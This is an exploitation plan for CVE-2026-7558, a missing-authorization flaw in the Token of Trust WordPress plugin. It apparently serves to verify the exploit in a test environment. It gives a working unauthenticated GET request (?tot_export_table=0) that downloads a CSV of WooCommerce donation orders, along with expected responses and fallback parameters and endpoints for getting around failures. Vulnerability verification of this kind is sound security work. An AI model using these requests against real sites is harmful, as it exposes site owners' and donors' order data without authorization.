Exploitation Research Plan - CVE-2026-7558

1. Vulnerability Summary

The Age Verification & Identity Verification by Token of Trust plugin for WordPress (versions <= 4.0.2) suffers from a Missing Authorization vulnerability that leads to unauthenticated information exposure.

The plugin registers a data export function, handle_export_table(), on the WordPress init hook. This hook executes for every request, including those from unauthenticated visitors. The function lacks any capability checks (e.g., current_user_can('manage_options')) or CSRF nonce verification. Consequently, any user can trigger a CSV download containing sensitive WooCommerce donation data, including order IDs, dates, donation amounts, and internal admin URLs for editing orders.

2. Attack Vector Analysis

• Vulnerable Endpoint: Any WordPress URL (Frontend or Backend) as the logic is tied to the init hook.
• Vulnerable Parameter: tot_export_table (GET).
• Authentication Level: Unauthenticated (PR:N).
• Preconditions: WooCommerce must be installed and active, and there must be orders with the tot_donation_value meta-data.

3. Code Flow

1. Entry Point: During WordPress initialization, the init hook is fired.
2. Hook Registration: In integrations/woocommerce/class-donations.php, the __construct() method registers the callback:
   add_action( 'init', array( $this->hookHandler, 'handle_export_table' ) );
3. Trigger: handle_export_table() checks for the existence of the tot_export_table GET parameter:

   public function handle_export_table() {
       if ( isset( $_GET['tot_export_table'] ) && is_numeric( $_GET['tot_export_table'] ) ) {
           $this->export_table_as_csv();
       }
   }
   

4. Data Retrieval: export_table_as_csv() calls self::get_tables().
5. Query Logic: get_tables() uses wc_get_orders() with a meta_query looking for orders where tot_donation_value > 0.
6. Sink: The function export_table_as_csv() generates a CSV, sets the Content-Type: text/csv header, and outputs the file content via readfile(), then calls exit().

4. Nonce Acquisition Strategy

No nonce is required for this exploit.

A review of integrations/woocommerce/class-donations.php confirms that neither handle_export_table() nor export_table_as_csv() performs any nonce validation (e.g., check_admin_referer or wp_verify_nonce). The vulnerability stems specifically from the lack of these security controls on a sensitive data export operation.

5. Exploitation Strategy

The exploit involves a simple GET request to the WordPress site with the targeting parameter.

• Step 1: Prepare a request to the site root with the tot_export_table parameter set to 0 (which corresponds to "All months" in get_default_tables_var()).
• Tool: http_request (Playwright).
• Request Details:
  • Method: GET
  • URL: http://<target-domain>/index.php?tot_export_table=0
• Expected Response:
  • Status: 200 OK
  • Header: Content-Type: text/csv
  • Header: Content-Disposition: attachment; filename=tot_donations_...csv
  • Body: A CSV formatted string starting with Date,Order number,Charitable amount,Order Url.

6. Test Data Setup

To verify the exploit, the environment must contain WooCommerce data:

1. Install WooCommerce: Ensure the WooCommerce plugin is active.
2. Create Orders: Create at least two WooCommerce orders.
3. Inject Meta Data: Use WP-CLI to add the donation meta-key to the orders:

   # Example for Order ID 123
   wp post meta add 123 tot_donation_value 15.50
   # Example for Order ID 124
   wp post meta add 124 tot_donation_value 5.00
   

4. Verify Setup: Check that the plugin's "View Donations" page (if accessible) would normally show these.

7. Expected Results

A successful exploit will return a raw CSV download. The content will look like this:

Date,Order number,Charitable amount,Order Url
"2023-10-27 10:00:00","123","$15.50","http://example.com/wp-admin/post.php?post=123&action=edit"
"2023-10-27 11:00:00","124","$5.00","http://example.com/wp-admin/post.php?post=124&action=edit"

8. Verification Steps

1. Response Content: Verify the response body contains the string Date,Order number,Charitable amount,Order Url.
2. Data Integrity: Compare the IDs and amounts in the CSV with the output of:

   wp post meta get 123 tot_donation_value
   

3. Auth Status: Perform the request in an unauthenticated state (no session cookies) to confirm the "Missing Authorization" aspect.

9. Alternative Approaches

If index 0 ("All months") returns no data due to date filtering in get_tables(), attempt to use other table indices defined in get_default_tables_var():

• ?tot_export_table=1 (Current month)
• ?tot_export_table=2 (Last month)
• ?tot_export_table=3 (Two months ago)

If the site uses a custom permalink structure that intercepts parameters at the root, try targeting admin-ajax.php instead (as init still fires there):

• GET /wp-admin/admin-ajax.php?tot_export_table=0